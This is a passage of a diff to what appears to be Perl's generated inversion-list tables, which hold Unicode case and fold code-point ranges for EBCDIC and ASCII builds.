0x100000, + 0x10FFFE }; -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_SB__UP_invlist[] = { /* for EBCDIC 037 */ - 1285, /* Number of elements */ +static const UV Cased_invlist[] = { /* for EBCDIC 1047 */ + 297, /* Number of elements */ 148565664, /* Version and data structure type */ 1, /* 0 if the list starts at 0; 1 if it starts at the element beyond 0 */ 0x0, + 0x42, + 0x4A, + 0x51, + 0x5A, 0x62, 0x6A, - 0x71, + 0x70, 0x79, 0x80, - 0x81, + 0x8A, + 0x8C, + 0x8F, + 0x91, + 0x9D, 0x9E, 0x9F, + 0xA0, + 0xA1, + 0xA2, + 0xAA, 0xAC, - 0xAF, - 0xC1, - 0xCA, - 0xD1, - 0xDA, - 0xE2, - 0xEA, - 0xEB, - 0xF0, - 0xFB, - 0xFF, - 0x100, - 0x101, - 0x102, - 0x103, - 0x104, - 0x105, - 0x106, - 0x107, - 0x108, - 0x109, - 0x10A, - 0x10B, - 0x10C, - 0x10D, - 0x10E, - 0x10F, - 0x110, - 0x111, - 0x112, - 0x113, - 0x114, - 0x115, - 0x116, - 0x117, - 0x118, - 0x119, - 0x11A, - 0x11B, - 0x11C, - 0x11D, - 0x11E, - 0x11F, - 0x120, - 0x121, - 0x122, - 0x123, - 0x124, - 0x125, - 0x126, - 0x127, - 0x128, - 0x129, - 0x12A, - 0x12B, - 0x12C, - 0x12D, - 0x12E, - 0x12F, - 0x130, - 0x131, - 0x132, - 0x133, - 0x134, - 0x135, - 0x136, - 0x137, - 0x139, - 0x13A, - 0x13B, - 0x13C, - 0x13D, - 0x13E, - 0x13F, - 0x140, - 0x141, - 0x142, - 0x143, - 0x144, - 0x145, - 0x146, - 0x147, - 0x148, - 0x14A, - 0x14B, - 0x14C, - 0x14D, - 0x14E, - 0x14F, - 0x150, - 0x151, - 0x152, - 0x153, - 0x154, - 0x155, - 0x156, - 0x157, - 0x158, - 0x159, - 0x15A, - 0x15B, - 0x15C, - 0x15D, - 0x15E, - 0x15F, - 0x160, - 0x161, - 0x162, - 0x163, - 0x164, - 0x165, - 0x166, - 0x167, - 0x168, - 0x169, - 0x16A, - 0x16B, - 0x16C, - 0x16D, - 0x16E, - 0x16F, - 0x170, - 0x171, - 0x172, - 0x173, - 0x174, - 0x175, - 0x176, - 0x177, - 0x178, - 0x17A, - 0x17B, - 0x17C, - 0x17D, - 0x17E, - 0x181, - 0x183, - 0x184, - 0x185, - 0x186, - 0x188, - 0x189, - 0x18C, - 0x18E, - 0x192, - 0x193, - 0x195, - 0x196, - 0x199, - 0x19C, - 0x19E, - 0x19F, - 0x1A1, - 0x1A2, - 0x1A3, - 0x1A4, - 0x1A5, - 0x1A6, - 0x1A8, - 0x1A9, - 0x1AA, - 0x1AC, - 0x1AD, - 0x1AE, - 0x1B0, - 0x1B1, - 0x1B4, - 0x1B5, - 0x1B6, - 0x1B7, - 0x1B9, - 0x1BC, - 0x1BD, - 0x1C4, - 0x1C6, - 0x1C7, - 0x1C9, - 0x1CA, - 0x1CC, - 0x1CD, - 0x1CE, - 0x1CF, - 0x1D0, - 0x1D1, - 0x1D2, - 0x1D3, - 0x1D4, - 0x1D5, - 0x1D6, - 0x1D7, - 0x1D8, - 0x1D9, - 0x1DA, - 0x1DB, - 0x1DC, - 0x1DE, - 0x1DF, - 0x1E0, - 0x1E1, - 0x1E2, - 0x1E3, - 0x1E4, - 0x1E5, - 0x1E6, - 0x1E7, - 0x1E8, - 0x1E9, - 0x1EA, - 0x1EB, - 0x1EC, - 0x1ED, - 0x1EE, - 0x1EF, - 0x1F1, - 0x1F3, - 0x1F4, - 0x1F5, - 0x1F6, - 0x1F9, - 0x1FA, - 0x1FB, - 0x1FC, - 0x1FD, - 0x1FE, - 0x1FF, - 0x200, - 0x201, - 0x202, - 0x203, - 0x204, - 0x205, - 0x206, - 0x207, - 0x208, - 0x209, - 0x20A, - 0x20B, - 0x20C, - 0x20D, - 0x20E, - 0x20F, - 0x210, - 0x211, - 0x212, - 0x213, - 0x214, - 0x215, - 0x216, - 0x217, - 0x218, - 0x219, - 0x21A, - 0x21B, - 0x21C, - 0x21D, - 0x21E, - 0x21F, - 0x220, - 0x221, - 0x222, - 0x223, - 0x224, - 0x225, - 0x226, - 0x227, - 0x228, - 0x229, - 0x22A, - 0x22B, - 0x22C, - 0x22D, - 0x22E, - 0x22F, - 0x230, - 0x231, - 0x232, - 0x233, - 0x23A, - 0x23C, - 0x23D, - 0x23F, - 0x241, - 0x242, - 0x243, - 0x247, - 0x248, - 0x249, - 0x24A, - 0x24B, - 0x24C, - 0x24D, - 0x24E, - 0x24F, - 0x370, - 0x371, - 0x372, - 0x373, - 0x376, - 0x377, - 0x37F, - 0x380, - 0x386, - 0x387, - 0x388, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x390, - 0x391, - 0x3A2, - 0x3A3, - 0x3AC, - 0x3CF, - 0x3D0, - 0x3D2, - 0x3D5, - 0x3D8, - 0x3D9, - 0x3DA, - 0x3DB, - 0x3DC, - 0x3DD, - 0x3DE, - 0x3DF, - 0x3E0, - 0x3E1, - 0x3E2, - 0x3E3, - 0x3E4, - 0x3E5, - 0x3E6, - 0x3E7, - 0x3E8, - 0x3E9, - 0x3EA, - 0x3EB, - 0x3EC, - 0x3ED, - 0x3EE, - 0x3EF, - 0x3F4, - 0x3F5, - 0x3F7, - 0x3F8, - 0x3F9, - 0x3FB, - 0x3FD, - 0x430, - 0x460, - 0x461, - 0x462, - 0x463, - 0x464, - 0x465, - 0x466, - 0x467, - 0x468, - 0x469, - 0x46A, - 0x46B, - 0x46C, - 0x46D, - 0x46E, - 0x46F, - 0x470, - 0x471, - 0x472, - 0x473, - 0x474, - 0x475, - 0x476, - 0x477, - 0x478, - 0x479, - 0x47A, - 0x47B, - 0x47C, - 0x47D, - 0x47E, - 0x47F, - 0x480, - 0x481, - 0x48A, - 0x48B, - 0x48C, - 0x48D, - 0x48E, - 0x48F, - 0x490, - 0x491, - 0x492, - 0x493, - 0x494, - 0x495, - 0x496, - 0x497, - 0x498, - 0x499, - 0x49A, - 0x49B, - 0x49C, - 0x49D, - 0x49E, - 0x49F, - 0x4A0, - 0x4A1, - 0x4A2, - 0x4A3, - 0x4A4, - 0x4A5, - 0x4A6, - 0x4A7, - 0x4A8, - 0x4A9, - 0x4AA, - 0x4AB, - 0x4AC, - 0x4AD, - 0x4AE, - 0x4AF, - 0x4B0, - 0x4B1, - 0x4B2, - 0x4B3, - 0x4B4, - 0x4B5, - 0x4B6, - 0x4B7, - 0x4B8, - 0x4B9, - 0x4BA, - 0x4BB, - 0x4BC, - 0x4BD, - 0x4BE, - 0x4BF, - 0x4C0, - 0x4C2, - 0x4C3, - 0x4C4, - 0x4C5, - 0x4C6, - 0x4C7, - 0x4C8, - 0x4C9, - 0x4CA, - 0x4CB, - 0x4CC, - 0x4CD, - 0x4CE, - 0x4D0, - 0x4D1, - 0x4D2, - 0x4D3, - 0x4D4, - 0x4D5, - 0x4D6, - 0x4D7, - 0x4D8, - 0x4D9, - 0x4DA, - 0x4DB, - 0x4DC, - 0x4DD, - 0x4DE, - 0x4DF, - 0x4E0, - 0x4E1, - 0x4E2, - 0x4E3, - 0x4E4, - 0x4E5, - 0x4E6, - 0x4E7, - 0x4E8, - 0x4E9, - 0x4EA, - 0x4EB, - 0x4EC, - 0x4ED, - 0x4EE, - 0x4EF, - 0x4F0, - 0x4F1, - 0x4F2, - 0x4F3, - 0x4F4, - 0x4F5, - 0x4F6, - 0x4F7, - 0x4F8, - 0x4F9, - 0x4FA, - 0x4FB, - 0x4FC, - 0x4FD, - 0x4FE, - 0x4FF, - 0x500, - 0x501, - 0x502, - 0x503, - 0x504, - 0x505, - 0x506, - 0x507, - 0x508, - 0x509, - 0x50A, - 0x50B, - 0x50C, - 0x50D, - 0x50E, - 0x50F, - 0x510, - 0x511, - 0x512, - 0x513, - 0x514, - 0x515, - 0x516, - 0x517, - 0x518, - 0x519, - 0x51A, - 0x51B, - 0x51C, - 0x51D, - 0x51E, - 0x51F, - 0x520, - 0x521, - 0x522, - 0x523, - 0x524, - 0x525, - 0x526, - 0x527, - 0x528, - 0x529, - 0x52A, - 0x52B, - 0x52C, - 0x52D, - 0x52E, - 0x52F, - 0x531, - 0x557, - 0x10A0, - 0x10C6, - 0x10C7, - 0x10C8, - 0x10CD, - 0x10CE, - 0x13A0, - 0x13F6, - 0x1E00, - 0x1E01, - 0x1E02, - 0x1E03, - 0x1E04, - 0x1E05, - 0x1E06, - 0x1E07, - 0x1E08, - 0x1E09, - 0x1E0A, - 0x1E0B, - 0x1E0C, - 0x1E0D, - 0x1E0E, - 0x1E0F, - 0x1E10, - 0x1E11, - 0x1E12, - 0x1E13, - 0x1E14, - 0x1E15, - 0x1E16, - 0x1E17, - 0x1E18, - 0x1E19, - 0x1E1A, - 0x1E1B, - 0x1E1C, - 0x1E1D, - 0x1E1E, - 0x1E1F, - 0x1E20, - 0x1E21, - 0x1E22, - 0x1E23, - 0x1E24, - 0x1E25, - 0x1E26, - 0x1E27, - 0x1E28, - 0x1E29, - 0x1E2A, - 0x1E2B, - 0x1E2C, - 0x1E2D, - 0x1E2E, - 0x1E2F, - 0x1E30, - 0x1E31, - 0x1E32, - 0x1E33, - 0x1E34, - 0x1E35, - 0x1E36, - 0x1E37, - 0x1E38, - 0x1E39, - 0x1E3A, - 0x1E3B, - 0x1E3C, - 0x1E3D, - 0x1E3E, - 0x1E3F, - 0x1E40, - 0x1E41, - 0x1E42, - 0x1E43, - 0x1E44, - 0x1E45, - 0x1E46, - 0x1E47, - 0x1E48, - 0x1E49, - 0x1E4A, - 0x1E4B, - 0x1E4C, - 0x1E4D, - 0x1E4E, - 0x1E4F, - 0x1E50, - 0x1E51, - 0x1E52, - 0x1E53, - 0x1E54, - 0x1E55, - 0x1E56, - 0x1E57, - 0x1E58, - 0x1E59, - 0x1E5A, - 0x1E5B, - 0x1E5C, - 0x1E5D, - 0x1E5E, - 0x1E5F, - 0x1E60, - 0x1E61, - 0x1E62, - 0x1E63, - 0x1E64, - 0x1E65, - 0x1E66, - 0x1E67, - 0x1E68, - 0x1E69, - 0x1E6A, - 0x1E6B, - 0x1E6C, - 0x1E6D, - 0x1E6E, - 0x1E6F, - 0x1E70, - 0x1E71, - 0x1E72, - 0x1E73, - 0x1E74, - 0x1E75, - 0x1E76, - 0x1E77, - 0x1E78, - 0x1E79, - 0x1E7A, - 0x1E7B, - 0x1E7C, - 0x1E7D, - 0x1E7E, - 0x1E7F, - 0x1E80, - 0x1E81, - 0x1E82, - 0x1E83, - 0x1E84, - 0x1E85, - 0x1E86, - 0x1E87, - 0x1E88, - 0x1E89, - 0x1E8A, - 0x1E8B, - 0x1E8C, - 0x1E8D, - 0x1E8E, - 0x1E8F, - 0x1E90, - 0x1E91, - 0x1E92, - 0x1E93, - 0x1E94, - 0x1E95, - 0x1E9E, - 0x1E9F, - 0x1EA0, - 0x1EA1, - 0x1EA2, - 0x1EA3, - 0x1EA4, - 0x1EA5, - 0x1EA6, - 0x1EA7, - 0x1EA8, - 0x1EA9, - 0x1EAA, - 0x1EAB, - 0x1EAC, - 0x1EAD, - 0x1EAE, - 0x1EAF, - 0x1EB0, - 0x1EB1, - 0x1EB2, - 0x1EB3, - 0x1EB4, - 0x1EB5, - 0x1EB6, - 0x1EB7, - 0x1EB8, - 0x1EB9, - 0x1EBA, - 0x1EBB, - 0x1EBC, - 0x1EBD, - 0x1EBE, - 0x1EBF, - 0x1EC0, - 0x1EC1, - 0x1EC2, - 0x1EC3, - 0x1EC4, - 0x1EC5, - 0x1EC6, - 0x1EC7, - 0x1EC8, - 0x1EC9, - 0x1ECA, - 0x1ECB, - 0x1ECC, - 0x1ECD, - 0x1ECE, - 0x1ECF, - 0x1ED0, - 0x1ED1, - 0x1ED2, - 0x1ED3, - 0x1ED4, - 0x1ED5, - 0x1ED6, - 0x1ED7, - 0x1ED8, - 0x1ED9, - 0x1EDA, - 0x1EDB, - 0x1EDC, - 0x1EDD, - 0x1EDE, - 0x1EDF, - 0x1EE0, - 0x1EE1, - 0x1EE2, - 0x1EE3, - 0x1EE4, - 0x1EE5, - 0x1EE6, - 0x1EE7, - 0x1EE8, - 0x1EE9, - 0x1EEA, - 0x1EEB, - 0x1EEC, - 0x1EED, - 0x1EEE, - 0x1EEF, - 0x1EF0, - 0x1EF1, - 0x1EF2, - 0x1EF3, - 0x1EF4, - 0x1EF5, - 0x1EF6, - 0x1EF7, - 0x1EF8, - 0x1EF9, - 0x1EFA, - 0x1EFB, - 0x1EFC, - 0x1EFD, - 0x1EFE, - 0x1EFF, - 0x1F08, - 0x1F10, + 0xAD, + 0xAE, + 0xAF, + 0xBA, + 0xBB, + 0xC1, + 0xCA, + 0xCB, + 0xD0, + 0xD1, + 0xDA, + 0xDB, + 0xE0, + 0xE2, + 0xEA, + 0xEB, + 0xF0, + 0xFB, + 0xFF, + 0x100, + 0x1BB, + 0x1BC, + 0x1C0, + 0x1C4, + 0x294, + 0x295, + 0x2B9, + 0x2C0, + 0x2C2, + 0x2E0, + 0x2E5, + 0x345, + 0x346, + 0x370, + 0x374, + 0x376, + 0x378, + 0x37A, + 0x37E, + 0x37F, + 0x380, + 0x386, + 0x387, + 0x388, + 0x38B, + 0x38C, + 0x38D, + 0x38E, + 0x3A2, + 0x3A3, + 0x3F6, + 0x3F7, + 0x482, + 0x48A, + 0x530, + 0x531, + 0x557, + 0x561, + 0x588, + 0x10A0, + 0x10C6, + 0x10C7, + 0x10C8, + 0x10CD, + 0x10CE, + 0x13A0, + 0x13F6, + 0x13F8, + 0x13FE, + 0x1C80, + 0x1C89, + 0x1D00, + 0x1DC0, + 0x1E00, + 0x1F16, 0x1F18, 0x1F1E, - 0x1F28, - 0x1F30, - 0x1F38, - 0x1F40, + 0x1F20, + 0x1F46, 0x1F48, 0x1F4E, + 0x1F50, + 0x1F58, 0x1F59, 0x1F5A, 0x1F5B, @@ -338635,33 +32949,39 @@ static const UV PL_SB__UP_invlist[] = { /* for EBCDIC 037 */ 0x1F5D, 0x1F5E, 0x1F5F, - 0x1F60, - 0x1F68, - 0x1F70, - 0x1F88, - 0x1F90, - 0x1F98, - 0x1FA0, - 0x1FA8, - 0x1FB0, - 0x1FB8, + 0x1F7E, + 0x1F80, + 0x1FB5, + 0x1FB6, 0x1FBD, - 0x1FC8, + 0x1FBE, + 0x1FBF, + 0x1FC2, + 0x1FC5, + 0x1FC6, 0x1FCD, - 0x1FD8, + 0x1FD0, + 0x1FD4, + 0x1FD6, 0x1FDC, - 0x1FE8, + 0x1FE0, 0x1FED, - 0x1FF8, + 0x1FF2, + 0x1FF5, + 0x1FF6, 0x1FFD, + 0x2071, + 0x2072, + 0x207F, + 0x2080, + 0x2090, + 0x209D, 0x2102, 0x2103, 0x2107, 0x2108, - 0x210B, - 0x210E, - 0x2110, - 0x2113, + 0x210A, + 0x2114, 0x2115, 0x2116, 0x2119, @@ -338674,357 +32994,81 @@ static const UV PL_SB__UP_invlist[] = { /* for EBCDIC 037 */ 0x2129, 0x212A, 0x212E, - 0x2130, - 0x2134, - 0x213E, + 0x212F, + 0x2135, + 0x2139, + 0x213A, + 0x213C, 0x2140, 0x2145, - 0x2146, + 0x214A, + 0x214E, + 0x214F, 0x2160, - 0x2170, + 0x2180, 0x2183, - 0x2184, + 0x2185, 0x24B6, - 0x24D0, + 0x24EA, 0x2C00, 0x2C2F, + 0x2C30, + 0x2C5F, 0x2C60, - 0x2C61, - 0x2C62, - 0x2C65, - 0x2C67, - 0x2C68, - 0x2C69, - 0x2C6A, - 0x2C6B, - 0x2C6C, - 0x2C6D, - 0x2C71, - 0x2C72, - 0x2C73, - 0x2C75, - 0x2C76, - 0x2C7E, - 0x2C81, - 0x2C82, - 0x2C83, - 0x2C84, - 0x2C85, - 0x2C86, - 0x2C87, - 0x2C88, - 0x2C89, - 0x2C8A, - 0x2C8B, - 0x2C8C, - 0x2C8D, - 0x2C8E, - 0x2C8F, - 0x2C90, - 0x2C91, - 0x2C92, - 0x2C93, - 0x2C94, - 0x2C95, - 0x2C96, - 0x2C97, - 0x2C98, - 0x2C99, - 0x2C9A, - 0x2C9B, - 0x2C9C, - 0x2C9D, - 0x2C9E, - 0x2C9F, - 0x2CA0, - 0x2CA1, - 0x2CA2, - 0x2CA3, - 0x2CA4, - 0x2CA5, - 0x2CA6, - 0x2CA7, - 0x2CA8, - 0x2CA9, - 0x2CAA, - 0x2CAB, - 0x2CAC, - 0x2CAD, - 0x2CAE, - 0x2CAF, - 0x2CB0, - 0x2CB1, - 0x2CB2, - 0x2CB3, - 0x2CB4, - 0x2CB5, - 0x2CB6, - 0x2CB7, - 0x2CB8, - 0x2CB9, - 0x2CBA, - 0x2CBB, - 0x2CBC, - 0x2CBD, - 0x2CBE, - 0x2CBF, - 0x2CC0, - 0x2CC1, - 0x2CC2, - 0x2CC3, - 0x2CC4, - 0x2CC5, - 0x2CC6, - 0x2CC7, - 0x2CC8, - 0x2CC9, - 0x2CCA, - 0x2CCB, - 0x2CCC, - 0x2CCD, - 0x2CCE, - 0x2CCF, - 0x2CD0, - 0x2CD1, - 0x2CD2, - 0x2CD3, - 0x2CD4, - 0x2CD5, - 0x2CD6, - 0x2CD7, - 0x2CD8, - 0x2CD9, - 0x2CDA, - 0x2CDB, - 0x2CDC, - 0x2CDD, - 0x2CDE, - 0x2CDF, - 0x2CE0, - 0x2CE1, - 0x2CE2, - 0x2CE3, + 0x2CE5, 0x2CEB, - 0x2CEC, - 0x2CED, - 0x2CEE, + 0x2CEF, 0x2CF2, - 0x2CF3, + 0x2CF4, + 0x2D00, + 0x2D26, + 0x2D27, + 0x2D28, + 0x2D2D, + 0x2D2E, 0xA640, - 0xA641, - 0xA642, - 0xA643, - 0xA644, - 0xA645, - 0xA646, - 0xA647, - 0xA648, - 0xA649, - 0xA64A, - 0xA64B, - 0xA64C, - 0xA64D, - 0xA64E, - 0xA64F, - 0xA650, - 0xA651, - 0xA652, - 0xA653, - 0xA654, - 0xA655, - 0xA656, - 0xA657, - 0xA658, - 0xA659, - 0xA65A, - 0xA65B, - 0xA65C, - 0xA65D, - 0xA65E, - 0xA65F, - 0xA660, - 0xA661, - 0xA662, - 0xA663, - 0xA664, - 0xA665, - 0xA666, - 0xA667, - 0xA668, - 0xA669, - 0xA66A, - 0xA66B, - 0xA66C, - 0xA66D, + 0xA66E, 0xA680, - 0xA681, - 0xA682, - 0xA683, - 0xA684, - 0xA685, - 0xA686, - 0xA687, - 0xA688, - 0xA689, - 0xA68A, - 0xA68B, - 0xA68C, - 0xA68D, - 0xA68E, - 0xA68F, - 0xA690, - 0xA691, - 0xA692, - 0xA693, - 0xA694, - 0xA695, - 0xA696, - 0xA697, - 0xA698, - 0xA699, - 0xA69A, - 0xA69B, + 0xA69E, 0xA722, - 0xA723, - 0xA724, - 0xA725, - 0xA726, - 0xA727, - 0xA728, - 0xA729, - 0xA72A, - 0xA72B, - 0xA72C, - 0xA72D, - 0xA72E, - 0xA72F, - 0xA732, - 0xA733, - 0xA734, - 0xA735, - 0xA736, - 0xA737, - 0xA738, - 0xA739, - 0xA73A, - 0xA73B, - 0xA73C, - 0xA73D, - 0xA73E, - 0xA73F, - 0xA740, - 0xA741, - 0xA742, - 0xA743, - 0xA744, - 0xA745, - 0xA746, - 0xA747, - 0xA748, - 0xA749, - 0xA74A, - 0xA74B, - 0xA74C, - 0xA74D, - 0xA74E, - 0xA74F, - 0xA750, - 0xA751, - 0xA752, - 0xA753, - 0xA754, - 0xA755, - 0xA756, - 0xA757, - 0xA758, - 0xA759, - 0xA75A, - 0xA75B, - 0xA75C, - 0xA75D, - 0xA75E, - 0xA75F, - 0xA760, - 0xA761, - 0xA762, - 0xA763, - 0xA764, - 0xA765, - 0xA766, - 0xA767, - 0xA768, - 0xA769, - 0xA76A, - 0xA76B, - 0xA76C, - 0xA76D, - 0xA76E, - 0xA76F, - 0xA779, - 0xA77A, - 0xA77B, - 0xA77C, - 0xA77D, - 0xA77F, - 0xA780, - 0xA781, - 0xA782, - 0xA783, - 0xA784, - 0xA785, - 0xA786, - 0xA787, + 0xA788, 0xA78B, - 0xA78C, - 0xA78D, - 0xA78E, + 0xA78F, 0xA790, - 0xA791, - 0xA792, - 0xA793, - 0xA796, - 0xA797, - 0xA798, - 0xA799, - 0xA79A, - 0xA79B, - 0xA79C, - 0xA79D, - 0xA79E, - 0xA79F, - 0xA7A0, - 0xA7A1, - 0xA7A2, - 0xA7A3, - 0xA7A4, - 0xA7A5, - 0xA7A6, - 0xA7A7, - 0xA7A8, - 0xA7A9, - 0xA7AA, 0xA7AF, 0xA7B0, - 0xA7B5, - 0xA7B6, - 0xA7B7, + 0xA7B8, + 0xA7F8, + 0xA7FB, + 0xAB30, + 0xAB5B, + 0xAB5C, + 0xAB66, + 0xAB70, + 0xABC0, + 0xFB00, + 0xFB07, + 0xFB13, + 0xFB18, 0xFF21, 0xFF3B, + 0xFF41, + 0xFF5B, 0x10400, - 0x10428, + 0x10450, 0x104B0, 0x104D4, + 0x104D8, + 0x104FC, 0x10C80, 0x10CB3, + 0x10CC0, + 0x10CF3, 0x118A0, - 0x118C0, + 0x118E0, 0x1D400, - 0x1D41A, - 0x1D434, - 0x1D44E, - 0x1D468, - 0x1D482, - 0x1D49C, + 0x1D455, + 0x1D456, 0x1D49D, 0x1D49E, 0x1D4A0, @@ -339035,10 +33079,12 @@ static const UV PL_SB__UP_invlist[] = { /* for EBCDIC 037 */ 0x1D4A9, 0x1D4AD, 0x1D4AE, - 0x1D4B6, - 0x1D4D0, - 0x1D4EA, - 0x1D504, + 0x1D4BA, + 0x1D4BB, + 0x1D4BC, + 0x1D4BD, + 0x1D4C4, + 0x1D4C5, 0x1D506, 0x1D507, 0x1D50B, @@ -339046,7 +33092,7 @@ static const UV PL_SB__UP_invlist[] = { /* for EBCDIC 037 */ 0x1D515, 0x1D516, 0x1D51D, - 0x1D538, + 0x1D51E, 0x1D53A, 0x1D53B, 0x1D53F, @@ -339056,32 +33102,32 @@ static const UV PL_SB__UP_invlist[] = { /* for EBCDIC 037 */ 0x1D547, 0x1D54A, 0x1D551, - 0x1D56C, - 0x1D586, - 0x1D5A0, - 0x1D5BA, - 0x1D5D4, - 0x1D5EE, - 0x1D608, - 0x1D622, - 0x1D63C, - 0x1D656, - 0x1D670, - 0x1D68A, + 0x1D552, + 0x1D6A6, 0x1D6A8, 0x1D6C1, - 0x1D6E2, + 0x1D6C2, + 0x1D6DB, + 0x1D6DC, 0x1D6FB, - 0x1D71C, + 0x1D6FC, + 0x1D715, + 0x1D716, 0x1D735, - 0x1D756, + 0x1D736, + 0x1D74F, + 0x1D750, 0x1D76F, - 0x1D790, + 0x1D770, + 0x1D789, + 0x1D78A, 0x1D7A9, - 0x1D7CA, - 0x1D7CB, + 0x1D7AA, + 0x1D7C3, + 0x1D7C4, + 0x1D7CC, 0x1E900, - 0x1E922, + 0x1E944, 0x1F130, 0x1F14A, 0x1F150, @@ -339090,67 +33136,189 @@ static const UV PL_SB__UP_invlist[] = { /* for EBCDIC 037 */ 0x1F18A }; -# endif /* EBCDIC 037 */ +#endif /* defined(PERL_IN_PERL_C) */ -# if 'A' == 65 /* ASCII/Latin1 */ +#if defined(PERL_IN_REGCOMP_C) -static const UV PL_SB__XX_invlist[] = { /* for ASCII/Latin1 */ - 1523, /* Number of elements */ +static const UV NonL1_Perl_Non_Final_Folds_invlist[] = { /* for EBCDIC 1047 */ + 45, /* Number of elements */ 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; + 1, /* 0 if the list starts at 0; 1 if it starts at the element beyond 0 */ 0x0, - 0x9, - 0xE, - 0x20, - 0x23, - 0x27, - 0x2A, - 0x2C, - 0x2F, - 0x30, - 0x3B, - 0x3F, - 0x40, - 0x41, - 0x5C, - 0x5D, - 0x5E, - 0x61, - 0x7C, - 0x7D, - 0x7E, - 0x85, - 0x86, + 0x2BC, + 0x2BD, + 0x308, + 0x309, + 0x313, + 0x314, + 0x342, + 0x343, + 0x3AC, + 0x3AD, + 0x3AE, + 0x3AF, + 0x3B1, + 0x3B2, + 0x3B7, + 0x3B8, + 0x3B9, + 0x3BA, + 0x3C1, + 0x3C2, + 0x3C5, + 0x3C6, + 0x3C9, + 0x3CA, + 0x3CE, + 0x3CF, + 0x565, + 0x566, + 0x574, + 0x575, + 0x57E, + 0x57F, + 0x1F00, + 0x1F08, + 0x1F20, + 0x1F28, + 0x1F60, + 0x1F68, + 0x1F70, + 0x1F71, + 0x1F74, + 0x1F75, + 0x1F7C, + 0x1F7D +}; + +static const UV _Perl_Any_Folds_invlist[] = { /* for EBCDIC 1047 */ + 285, /* Number of elements */ + 148565664, /* Version and data structure type */ + 1, /* 0 if the list starts at 0; + 1 if it starts at the element beyond 0 */ + 0x0, + 0x42, + 0x4A, + 0x51, + 0x5A, + 0x62, + 0x6A, + 0x70, + 0x79, + 0x80, + 0x8A, + 0x8C, + 0x8F, + 0x91, + 0x9A, + 0x9C, + 0x9D, + 0x9E, + 0x9F, 0xA0, 0xA1, + 0xA2, 0xAA, 0xAC, 0xAD, 0xAE, - 0xB5, - 0xB6, + 0xAF, 0xBA, - 0xBC, - 0xC0, - 0xD7, - 0xD8, - 0xF7, - 0xF8, - 0x2C2, - 0x2C6, - 0x2D2, - 0x2E0, - 0x2E5, - 0x2EC, - 0x2ED, - 0x2EE, - 0x2EF, + 0xBB, + 0xC1, + 0xCA, + 0xCB, + 0xD0, + 0xD1, + 0xDA, + 0xDB, + 0xE0, + 0xE2, + 0xEA, + 0xEB, + 0xF0, + 0xFB, + 0xFF, + 0x100, + 0x131, + 0x132, + 0x138, + 0x139, + 0x18D, + 0x18E, + 0x19B, + 0x19C, + 0x1AA, + 0x1AC, + 0x1BA, + 0x1BC, + 0x1BE, + 0x1BF, + 0x1C0, + 0x1C4, + 0x221, + 0x222, + 0x234, + 0x23A, + 0x255, + 0x256, + 0x258, + 0x259, + 0x25A, + 0x25B, + 0x25D, + 0x260, + 0x262, + 0x263, + 0x264, + 0x265, + 0x267, + 0x268, + 0x26D, + 0x26F, + 0x270, + 0x271, + 0x273, + 0x275, + 0x276, + 0x27D, + 0x27E, + 0x280, + 0x281, + 0x283, + 0x284, + 0x287, + 0x28D, + 0x292, + 0x293, + 0x29D, + 0x29F, + 0x2BC, + 0x2BD, + 0x2BE, + 0x2BF, 0x300, - 0x375, + 0x302, + 0x307, + 0x309, + 0x30A, + 0x30B, + 0x30C, + 0x30D, + 0x313, + 0x314, + 0x331, + 0x332, + 0x342, + 0x343, + 0x345, + 0x346, + 0x370, + 0x374, 0x376, 0x378, - 0x37A, + 0x37B, 0x37E, 0x37F, 0x380, @@ -339163,21 +33331,248 @@ static const UV PL_SB__XX_invlist[] = { /* for ASCII/Latin1 */ 0x38E, 0x3A2, 0x3A3, + 0x3D2, + 0x3D5, 0x3F6, 0x3F7, + 0x3FC, + 0x3FD, 0x482, - 0x483, + 0x48A, 0x530, 0x531, 0x557, - 0x559, - 0x55A, - 0x55D, - 0x55E, 0x561, 0x588, - 0x589, - 0x58A, + 0x10A0, + 0x10C6, + 0x10C7, + 0x10C8, + 0x10CD, + 0x10CE, + 0x13A0, + 0x13F6, + 0x13F8, + 0x13FE, + 0x1C80, + 0x1C89, + 0x1D79, + 0x1D7A, + 0x1D7D, + 0x1D7E, + 0x1E00, + 0x1E9C, + 0x1E9E, + 0x1E9F, + 0x1EA0, + 0x1F16, + 0x1F18, + 0x1F1E, + 0x1F20, + 0x1F46, + 0x1F48, + 0x1F4E, + 0x1F50, + 0x1F58, + 0x1F59, + 0x1F5A, + 0x1F5B, + 0x1F5C, + 0x1F5D, + 0x1F5E, + 0x1F5F, + 0x1F7E, + 0x1F80, + 0x1FB5, + 0x1FB6, + 0x1FBD, + 0x1FBE, + 0x1FBF, + 0x1FC2, + 0x1FC5, + 0x1FC6, + 0x1FCD, + 0x1FD0, + 0x1FD4, + 0x1FD6, + 0x1FDC, + 0x1FE0, + 0x1FED, + 0x1FF2, + 0x1FF5, + 0x1FF6, + 0x1FFD, + 0x2126, + 0x2127, + 0x212A, + 0x212C, + 0x2132, + 0x2133, + 0x214E, + 0x214F, + 0x2160, + 0x2180, + 0x2183, + 0x2185, + 0x24B6, + 0x24EA, + 0x2C00, + 0x2C2F, + 0x2C30, + 0x2C5F, + 0x2C60, + 0x2C71, + 0x2C72, + 0x2C74, + 0x2C75, + 0x2C77, + 0x2C7E, + 0x2CE4, + 0x2CEB, + 0x2CEF, + 0x2CF2, + 0x2CF4, + 0x2D00, + 0x2D26, + 0x2D27, + 0x2D28, + 0x2D2D, + 0x2D2E, + 0xA640, + 0xA66E, + 0xA680, + 0xA69C, + 0xA722, + 0xA730, + 0xA732, + 0xA770, + 0xA779, + 0xA788, + 0xA78B, + 0xA78E, + 0xA790, + 0xA794, + 0xA796, + 0xA7AF, + 0xA7B0, + 0xA7B8, + 0xAB53, + 0xAB54, + 0xAB70, + 0xABC0, + 0xFB00, + 0xFB07, + 0xFB13, + 0xFB18, + 0xFF21, + 0xFF3B, + 0xFF41, + 0xFF5B, + 0x10400, + 0x10450, + 0x104B0, + 0x104D4, + 0x104D8, + 0x104FC, + 0x10C80, + 0x10CB3, + 0x10CC0, + 0x10CF3, + 0x118A0, + 0x118E0, + 0x1E900, + 0x1E944 +}; + +static const UV _Perl_Folds_To_Multi_Char_invlist[] = { /* for 